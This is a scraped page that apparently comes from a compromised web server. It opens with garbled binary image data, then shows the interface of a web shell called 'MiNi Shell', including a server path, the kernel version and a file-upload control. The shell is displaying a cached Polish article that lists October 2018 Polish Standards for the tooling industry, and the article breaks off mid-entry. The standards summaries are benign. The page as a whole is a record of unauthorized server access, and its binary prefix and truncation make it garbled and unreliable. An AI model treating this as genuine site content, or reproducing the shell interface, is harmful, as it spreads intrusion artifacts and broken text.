JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/c0/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/c0/c0b1ac541e99f299f4d2ea04bb808371.bin

a:2:{i:0;a:2:{i:0;s:32116:" 
                    
                    <h3 class="title" itemprop="headline">Polskie Normy dotyczące branży narzędziowej - październik 2018</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 06-11-2018, 00:00</strong>
                        <meta itemprop="dateModified" content=" 06-11-2018, 00:00"/>
                        <div class="hide" itemprop="description">
	Zestawienie Polskich Norm dotyczących branży narzędziowej - październik 2018</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="narzedziownia.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.narzedziownia.org/images/loga/narzedziownia.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/9890/crop/800x600/9b5d531d7e-028922001571969080.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.narzedziownia.org/artykuly/szczegoly/9890"/>
                        
                                        </p>

                    <div class="lorem">
                        <h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">Zestawienie Polskich Norm dotyczących branży narzędziowej</span></h3>
<h3 style="text-align:center;">
	<span style="color:rgb(0,51,51);">- październik 2018</span></h3>
<p>
	 </p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 17119:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>03-10-2018</p>
<p>
	Badania nieniszczące -- Badania termograficzne -- Termografia aktywna</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie zdefiniowano procedury badań nieniszczących metodami termografii aktywnej. Procedury badawcze mogą być stosowane do różnych materiałów (np. kompozytów, metali i powłok) i są wskazane, ale nie ograniczają się do: wykrywania nieciągłości (np. otworów, pęknięć, wtrąceń, rozwarstwień); określania grubości warstwy lub części; określania i porównywania właściwości termofizycznych. W niniejszej normie opisano zasady gromadzenia i analizę danych dla termografii aktywnej oraz podano wytyczne dotyczące poprawnego wyboru źródła wzbudzania. Nie zdefiniowano kryteriów akceptacji. Termografia aktywna wykorzystywana jest w produkcji przemysłowej (np. materiałach kompozytowych, do części: pojazdów, silników, elektrowni; technologii połączeń, wyrobach elektrycznych), utrzymaniu i naprawie (np. w kosmonautyce, elektrowniach, budownictwie lądowym).</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 9443:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>03-10-2018</p>
<p>
	Klasy jakości powierzchni prętów i walcówki walcowanych na gorąco</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono wymagania techniczne dostawy dotyczące jakości powierzchni walcowanych na gorąco okrągłych, kwadratowych, sześciokątnych prętów i walcówki o wymiarach nominalnych, dN, od 5 mm do 200 mm. Niniejszy dokument ma zastosowanie do wyrobów o powierzchni jasnej i stali narzędziowych, jeżeli zostanie to uzgodnione między wytwórcą a zamawiającym przy zapytaniu ofertowym i zamawianiu.</p>
<p>
	Po uzgodnieniu między wytwórcą a zamawiającym niniejszy dokument może być stosowany do innych specjalnych profili.</p>
<p>
	Niniejszy dokument ma szczególne zastosowanie do stali konstrukcyjnych i zastosowań budowlanych.</p>
<p>
	Niniejszy dokument nie zawiera wymagań dotyczących dopuszczalnej głębokości odwęglenia.<br />
	Normy materiału prętów stalowych i walcówki mogą wykluczyć stosowanie jednej lub drugiej klasy jakości powierzchni niniejszego dokumentu. Mogą one również obejmować wymagania dla jakości powierzchni odbiegające od niniejszego dokumentu. W takich przypadkach wymagania normy materiału są decydujące.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 10028-1:2017-09 - wersja polska</span></h4>
<p>
	<strong>Data publikacji: </strong>05-10-2018</p>
<p>
	Wyroby płaskie ze stali na urządzenia ciśnieniowe -- Część 1: Wymagania ogólne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono ogólne warunki techniczne dostawy wyrobów płaskich stosowanych na konstrukcje urządzeń ciśnieniowych.</p>
<p>
	Mają również zastosowanie ogólne warunki techniczne dostawy podane w EN 10021.</p>
<p>
	UWAGA Z chwilą opublikowania niniejszej Normy Europejskiej w Dzienniku Urzędowym UE (OJEU) jako zgodnej z dyrektywą 2014/68/UE, domniemanie zgodności z zasadniczymi wymaganiami bezpieczeństwa (ESR) dyrektywy 2014/68/UE ogranicza się do danych technicznych materiałów w niniejszej Normie Europejskiej (Część 1 i inna właściwa część tej serii) i nie obejmuje przydatności materiału dla konkretnego urządzenia. W związku z tym zachodzi potrzeba przeprowadzenia oceny danych technicznych zamieszczonych w niniejszej normie materiałowej w odniesieniu do wymagań konstrukcyjnych dla konkretnego urządzenia w celu sprawdzenia, czy ESR dyrektywy 2014/68/UE są spełnione.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 16151:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>05-10-2018</p>
<p>
	Korozja metali i stopów -- Przyspieszone badania cykliczne w kwaśnej mgle solnej, w warunkach suchych i mokrych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie podano dwie metody przyspieszonych badań korozyjnych, Metodę A i B, stosowanych do oceny porównawczej materiałów metalowych, ze stałą lub czasową ochroną antykorozyjną lub bez takiej ochrony, poddanych działaniu środowisk zewnętrznych zawierających sole i/lub kwaśny deszcz. Opisano również budowę odpowiedniego urządzenia. Obydwie metody badań polegają na cyklicznej ekspozycji próbek na działanie kwaśnej mgły solnej, w warunkach „suchych” i „mokrych”.</p>
<p>
	Szczególną zaletą obu metod badań w porównaniu z tradycyjnymi metodami badań przyspieszonych podanymi w ISO 9227, takimi jak badanie w obojętnej mgle solnej (NSS), jest lepsza odtwarzalność procesu korozji występującego w środowiskach zewnętrznych zanieczyszczonych solami/kwaśnymi deszczami. Metody te są również przydatne do oceny korozji kosmetycznej.</p>
<p>
	Metodę A stosuje się w przypadku<br />
	-- metali i ich stopów,<br />
	-- powłok metalowych (katodowych),<br />
	-- powłok tlenkowych powstałych w wyniku utleniania anodowego i<br />
	-- powłok organicznych na podłożach metalowych.<br />
	Metodę B stosuje się w przypadku<br />
	-- stali z powłokami anodowymi oraz<br />
	-- stali z powłokami anodowymi pokrytymi powłokami konwersyjnymi.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 1563:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>10-10-2018</p>
<p>
	Odlewnictwo -- Żeliwo sferoidalne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej podano gatunki żeliwa sferoidalnego i odpowiadające im wymagania.</p>
<p>
	W niniejszej Normie Europejskiej podano dwie grupy gatunków żeliwa sferoidalnego sklasyfikowane na podstawie własności mechanicznych mierzonych na próbkach do badań obrabianych mechanicznie, przygotowanych z wlewków próbnych. Pierwsza grupa dotyczy gatunków od ferrytycznych do perlitycznych. Druga grupa dotyczy gatunków ferrytycznych umocnionych roztworem stałym.</p>
<p>
	Niniejszym projektem Normy Europejskiej nie objęto warunków technicznych dostawy dla odlewów żeliwnych (patrz EN 1559-1 [3] i EN 1559-3 [4])</p>
<p>
	Niniejsza Norma Europejska nie obejmuje wszystkich aspektów:<br />
	— żeliwa sferoidalnego ausferrytycznego, które jest określone w EN 1564 [5];<br />
	— niskostopowego żeliwa sferoidalnego ferrytycznego, które jest określone w EN 16124 [6];<br />
	— prętów żeliwnych odlewanych metodą ciągłą, które są określone w EN 16482 [7];<br />
	— żeliwa austenitycznego, które jest określone w EN 13835 [8];<br />
	— żeliwa sferoidalnego przeznaczonego na rury, łączniki i ich złącza, które są przedmiotem EN 545 [9], EN 598 [10] i EN 969 [11];<br />
	— gatunków żeliwa sferoidalnego określonych w EN 545, które są stosowane na wyroby takie jak zawory przemysłowe, nieprzemysłowe ręcznie sterowane zawory odłączające i kołnierze oraz ich złącza, które są przedmiotem odpowiednich Europejskich norm wyrobu.</p>
<p>
	 </p>
<h4>
	<br />
	<span style="color:#ff8c00;">PN-EN 12392:2016-04 - wersja polska</span></h4>
<p>
	<strong>Data publikacji: </strong>12-10-2018</p>
<p>
	Aluminium i stopy aluminium -- Wyroby przerabiane plastycznie i wyroby odlewane -- Wymagania specjalne dla wyrobów przeznaczonych do wytwarzania urządzeń ciśnieniowych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania materiałowe i procedury badań stosowane do aluminium i stopów aluminium przerabianych plastycznie i odlewanych, przeznaczonych do wytwarzania urządzeń ciśnieniowych.</p>
<p>
	Niniejszą Normą Europejską objęto:<br />
	— postacie wyrobów, gatunki i stany aluminium i stopów aluminium przerabianych plastycznie i odlewanych, które mają być użytkowane do takich zastosowań, wraz z danymi dla stopów przerabianych plastycznie i odlewanych w dopuszczalnych zakresach temperatury ich pracy;<br />
	— dopuszczalne stopy/przynależne im stany, które są podane w Tablicy A.1 i w B.1 – dla stopów przerabianych plastycznie oraz w Tablicy A.2 i w B.2 – dla odlewów;<br />
	— warunki techniczne kontroli i dostawy, granice własności mechanicznych oraz dopuszczalne odchyłki kształtu i wymiarów – przez powołanie się na odpowiednie Normy Europejskie dotyczące aluminium i stopów aluminium przerabianych plastycznie i odlewanych, oraz<br />
	— dodatkowe wymagania, specyficzne do zastosowań urządzeń ciśnieniowych.</p>
<p>
	Norma ma zastosowanie do płyt walcowanych na gorąco, blach/taśm/krążków walcowanych na zimno, prętów i rur wyciskanych lub wyciskanych i ciągnionych na zimno, kształtowników wyciskanych otwartych/z otworem, odkuwek i odlewów, według kryteriów niniejszej normy podanych w Tablicy A.1 – dla stopów przerabianych plastycznie i w Tablicy A.2 – dla odlewów.</p>
<p>
	Niniejsza norma obejmuje wyłącznie materiały przeznaczone dla celów ciśnieniowych czy też metody ich wytwarzania; właściwe informacje można znaleźć w odpowiednich normach wymienionych w „Bibliografii”.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 13507:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>12-10-2018</p>
<p>
	Natryskiwanie cieplne -- Przygotowanie powierzchni metalowych części i przedmiotów przed natryskiwaniem cieplnym</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie opisano proces przygotowania powierzchni do natryskiwania cieplnego. Przy przygotowywaniu powierzchni metalowych części do natryskiwania cieplnego należy przestrzegać istotnych zasad podanych w niniejszej Normie Europejskiej. Postanowienia niniejszego dokumentu mają zastosowanie zarówno przy produkcji nowych części, jak i przy regeneracji części zużytych.</p>
<p>
	Postanowienia niniejszego dokumentu nie mają zastosowania do natryskiwania cieplnego cynku i/lub aluminium oraz ich stopów w celu ochrony przed korozją atmosferyczną, którego dotyczą postanowienia EN ISO 2063-1:2017 i EN ISO 2063-2:2017.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 13856-3:2013-11 - wersja polska</span></h4>
<p>
	<strong>Data publikacji: </strong>18-10-2018</p>
<p>
	Bezpieczeństwo maszyn -- Urządzenia ochronne czułe na nacisk -- Część 3: Ogólne zasady projektowania oraz badań zderzaków, płyt, linek i podobnych urządzeń czułych na nacisk</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej części ISO 13856 ustalono ogólne zasady i określono wymagania dotyczące projektowania oraz badań tych urządzeń ochronnych czułych na nacisk, które nie zostały uwzględnione w ISO 13856-1 lub w ISO 13856-2; są to urządzenia z zewnętrznym urządzeniem resetowania lub bez takiego urządzenia, a większość z nich jest wytwarzana do określonych zastosowań i nie są one dostępne jako wyroby „z półki”.</p>
<p>
	W niniejszej części ISO 13856 określono także wymagania szczególne dotyczące następujących urządzeń ochronnych czułych na nacisk:<br />
	a) zderzaki czułe na nacisk;<br />
	b) płyty czułe na nacisk;<br />
	c) linki czułe na nacisk (linki wyłączające).</p>
<p>
	Niniejsza norma dotyczy projektowania urządzeń czułych na nacisk mając na względzie raczej bezpieczeństwo i niezawodność niż przydatność do konkretnych zastosowań.</p>
<p>
	UWAGA 1 Zależność między bezpieczeństwem i niezawodnością, patrz ISO 13849-1:2006, 4.2.</p>
<p>
	UWAGA 2 Producent maszyn i/lub użytkownik ponoszą odpowiedzialność za zainstalowanie właściwego rodzaju urządzenia ochronnego z uwzględnieniem wyników oceny ryzyka.</p>
<p>
	Niniejszej normy nie stosuje się w odniesieniu do<br />
	— określania wymiarów urządzeń ochronnych czułych na nacisk w odniesieniu do konkretnego zastosowania lub<br />
	— urządzeń do zatrzymywania według IEC 60204-1 stosowanych przy normalnej obsłudze, łącznie z zatrzymywaniem awaryjnym maszyn.</p>
<p>
	UWAGA 3 Przewiduje się, że wymagania szczególne dotyczące konkretnych zastosowań będą ustalone w odpowiednich normach typu C (patrz ISO 12100 i Wprowadzenie).</p>
<p>
	Dodatkowe wymagania mogą być konieczne w przypadku, gdy urządzenia ochronne czułe na nacisk są stosowane w miejscach dostępnych dla ludzi w podeszłym wieku, niepełnosprawnych lub dzieci.</p>
<p>
	UWAGA 4 Określono wymagania dotyczące odporności urządzeń na zakłócenia elektromagnetyczne, ale w zamierzeniu nie uwzględniają one wszystkich aspektów kompatybilności elektromagnetycznej (EMC N1)).</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 15626:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>19-10-2018</p>
<p>
	Badanie nieniszczące spoin -- Technika czasu przejścia wiązki dyfrakcyjnej (TOFD) -- Poziomy akceptacji</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono poziomy akceptacji dla techniki czasu przejścia wiązki dyfrakcyjnej (TOFD) przy pełnej penetracji złącza spawanego w stalach ferromagnetycznych o grubościach od 6 mm do 300 mm oraz odpowiadające im poziomy jakości podane w ISO 5817.</p>
<p>
	Te poziomy akceptacji są stosowane dla wskazań sklasyfikowanych według normy ISO 10863.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 10028-2:2017-09 - wersja polska</span></h4>
<p>
	<strong>Data publikacji: </strong>19-10-2018</p>
<p>
	Wyroby płaskie ze stali na urządzenia ciśnieniowe -- Część 2: Stale niestopowe i stopowe o określonych własnościach w podwyższonych temperaturach</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące wyrobów płaskich na urządzenia ciśnieniowe wykonywanych ze spawalnych stali niestopowych i stopowych o określonych własnościach w podwyższonych temperaturach, jak określono w Tablicy 1.</p>
<p>
	Mają również zastosowanie wymagania i definicje podane w EN 10028-1:2017.</p>
<p>
	UWAGA Z chwilą opublikowania niniejszej Normy Europejskiej w Dzienniku Urzędowym UE (OJEU) jako zgodnej z dyrektywą 2014/68/UE, domniemanie zgodności z zasadniczymi wymaganiami bezpieczeństwa (ESR) dyrektywy 2014/68/UE ogranicza się do danych technicznych materiałów w niniejszej Normie Europejskiej (Część 1 i niniejsza Część 2 tej serii) i nie obejmuje przydatności materiału dla konkretnego urządzenia. W związku z tym zachodzi potrzeba przeprowadzenia oceny danych technicznych zamieszczonych w niniejszej normie materiałowej w odniesieniu do wymagań konstrukcyjnych dla konkretnego urządzenia w celu sprawdzenia, czy ESR dyrektywy 2014/68/UE są spełnione.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 16120-1:2017-07 - wersja polska</span></h4>
<p>
	<strong>Data publikacji: </strong>23-10-2018</p>
<p>
	Walcówka ze stali niestopowej przeznaczona do produkcji drutu -- Część 1: Wymagania ogólne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Seria ISO 16120 ma zastosowanie do walcówki ze stali niestopowej przeznaczonej do ciągnienia drutu i/lub walcowania na zimno. Przekrój poprzeczny może być okrągły, owalny, kwadratowy, prostokątny, sześciokątny, ośmiokątny, półokrągły lub inny i zasadniczo o wymiarze nominalnym minimum 5 mm oraz o gładkiej powierzchni.</p>
<p>
	Niniejszy dokument określa wymagania ogólne dla walcówki ze stali niestopowej przeznaczonej do produkcji drutu. Nie ma zastosowania do wyrobów, objętych istniejącymi lub opracowywanymi normami, takimi jak:<br />
	— walcówka stalowa do obróbki cieplnej;<br />
	— walcówka ze stali automatowej;<br />
	— walcówka stalowa do spęczania na zimno i wyciskania na zimno;<br />
	— walcówka stalowa przeznaczona do wytwarzania elektrod i wyrobów do spawania;<br />
	— walcówka stalowa na siatki spawane do zbrojenia betonu;<br />
	— walcówka stalowa na łożyska kulkowe i wałeczkowe (patrz ISO 683-17);<br />
	— walcówka stalowa na druty przeznaczone na sprężyny mechaniczne o dużej wytrzymałości zmęczeniowej, na przykład na sprężyny zaworowe.</p>
<p>
	Oprócz wymagań podanych w niniejszym dokumencie, dodatkowo mają zastosowanie ogólne warunki techniczne dostawy podane w ISO 404.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN IEC 62046:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 24-10-2018</p>
<p>
	Bezpieczeństwo maszyn -- Stosowanie wyposażenia ochronnego do wykrywania obecności osób</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Międzynarodowa określa wymagania dotyczące wyboru, sytuowania, konfiguracji i przekazania do użytkowania wyposażenia ochronnego przeznaczonego do wykrywania chwilowej lub ciągłej obecności osób, w celu ochrony tych osób przed niebezpieczną częścią (niebezpiecznymi częściami) maszyny w zastosowaniach przemysłowych. Niniejsza norma obejmuje zastosowanie elektroczułego wyposażenia ochronnego (ESPE) objętego normą IEC 61496 (wszystkie części) oraz mat i podłóg czułych na nacisk objętych normą ISO 13856-1.</p>
<p>
	Niniejsza norma uwzględnia charakterystykę (ograniczenia) maszyny, wyposażenia ochronnego, środowiska i współdziałania człowieka z maszyną w odniesieniu do osób od 14 roku życia.</p>
<p>
	Niniejsza norma zawiera Załączniki informacyjne zawierające przewodnik dotyczący stosowania wyposażenia ochronnego do wykrywania obecności osób. Załączniki te zawierają przykłady ilustrujące zasady przedstawione w normie. Intencją zamieszczenia tych przykładów nie jest wskazywanie jedynych rozwiązań dotyczącej danej aplikacji, ani ograniczanie technicznych innowacji i postępu. Przykłady te przedstawiają jedynie reprezentatywne rozwiązania w celu ilustracji niektórych koncepcji integracji wyposażenia ochronnego i zostały uproszczone w celu przejrzystości, więc mogą być niekompletne.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 1395-5:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>29-10-2018</p>
<p>
	Natryskiwanie cieplne -- Badania odbiorcze urządzeń do natryskiwania cieplnego -- Część 5: Natryskiwanie plazmowe w komorach</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania dotyczące badań odbiorczych urządzeń do natryskiwania cieplnego, w tym przypadku tylko przyrządów kontrolujących ciśnienie przy natryskiwaniu plazmowym w próżni i atmosferze kontrolowanej, które zostaną zastosowane podczas wykonywania powłok natryskiwanych cieplnie o powtarzalnej jakości.</p>
<p>
	Niniejszą część normy należy stosować łącznie z EN 1395-1, w której podano wymagania ogólne i wyjaśniono zasady postępowania.</p>
<p>
	Badania odbiorcze samego systemu natryskiwania plazmowego powinny przebiegać zgodnie z EN 1395-4.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 14399-7:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>29-10-2018</p>
<p>
	Zestawy śrubowe wysokiej wytrzymałości do połączeń sprężanych -- Część 7: System HR -- Zestawy śruby z łbem stożkowym i nakrętki</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono, łącznie z EN 14399-1 i EN 14399-2, wymagania dotyczące zestawów konstrukcyjnych wysokiej wytrzymałości śrub z łbem stożkowym z wgłębieniem rowkowym i nakrętek systemu HR odpowiednich do łączenia wstępnie obciążonych powierzchni płaskich, z gwintem o wielkości od M12 do M36 i klas własności 8.8/8 lub 8.8/10 i 10.9/10.</p>
<p>
	Zestawy śrubowe zgodne z niniejszym dokumentem zostały zaprojektowane do umożliwienia sprężania co najmniej 0,7 fub ×As1) zgodnie z EN 1993-1-8 (Eurocod 3), i w celu uzyskania plastyczności przeważnie poprzez odkształcenie plastyczne współpracujących gwintów. W tym celu części mają następujące charakterystyki:<br />
	- stała wysokość nakrętki zgodnie z odmianą 1, EN ISO 4032;<br />
	- śruba z długim gwintem zgodnie z ISO 888.</p>
<p>
	Zestawy śrubowe zgodne z niniejszym dokumentem zawierają podkładki zgodne z EN 14399-6 lub EN 14399-5.</p>
<p>
	UWAGA Zwrócono uwagę na ważność zapewnienia, że w celu uzyskania zadowalających wyników zestawy śrubowe są prawidłowo używane. Jako zalecenie dotyczące prawidłowego użycia powołano EN 1090-2.</p>
<p>
	Wymagania ogólne i wymagania dotyczące odpowiedniości sprężenia są określone w EN 14399-2.</p>
<p>
	Długości zacisków i długości uchwytów dla zestawów śrubowych podano w normatywnym Załączniku A.</p>
<p>
	1) fub jest nominalną wytrzymałością na rozciąganie (Rm) a As jest obszarem naprężenia w śrubie.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 14399-8:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji</strong>: 29-10-2018</p>
<p>
	Zestawy śrubowe wysokiej wytrzymałości do połączeń sprężanych -- Część 8: System HV -- Zestawy śruby pasowanej z łbem sześciokątnym i nakrętki sześciokątnej</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono, łącznie z EN 14399-1 i EN 14399-2, wymagania dla wysokiej wytrzymałości śrub i nakrętek konstrukcyjnych systemu HV odpowiednich do połączeń sprężanych z dużym wymiarem pod klucz, z gwintem od M12 do M36 włącznie i klasy własności 10.9/10.</p>
<p>
	Zestawy śrubowe (łącznie ze śrubami pasowanymi o nominalnej średnicy trzpienia d + 1 mm) zgodne z niniejszym dokumentem zostały zaprojektowane do umożliwienia sprężania co najmniej 0,7 fub ×As1) zgodnie z EN 1993-1-8 (Eurocod 3) i w celu uzyskania plastyczności przeważnie poprzez odkształcenie plastyczne współpracujących gwintów. W tym celu części mają następujące charakterystyki:<br />
	- wysokość nakrętki w przybliżeniu 0,8 D;<br />
	- śruba z krótkim gwintem.</p>
<p>
	Zestawy śrubowe zgodne z niniejszym dokumentem zawierają podkładki zgodne z EN 14399-6.</p>
<p>
	UWAGA Zwrócono uwagę na ważność zapewnienia, że w celu uzyskania zadowalających wyników zestawy śrubowe są prawidłowo używane. Jako zalecenie dotyczące prawidłowego użycia powołano EN 1090-2.</p>
<p>
	Wymagania ogólne i wymagania dotyczące odpowiedniości sprężenia są określone w EN 14399-2.</p>
<p>
	Długości zacisków i długości uchwytów dla zestawów śrubowych podano w normatywnym Załączniku A.</p>
<p>
	1) fub jest nominalną wytrzymałością na rozciąganie (Rm) a As jest obszarem naprężenia w śrubie.</p>
<h4>
	<br />
	 <br />
	<span style="color:#ff8c00;">PN-EN 17001:2018-10 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 29-10-2018</p>
<p>
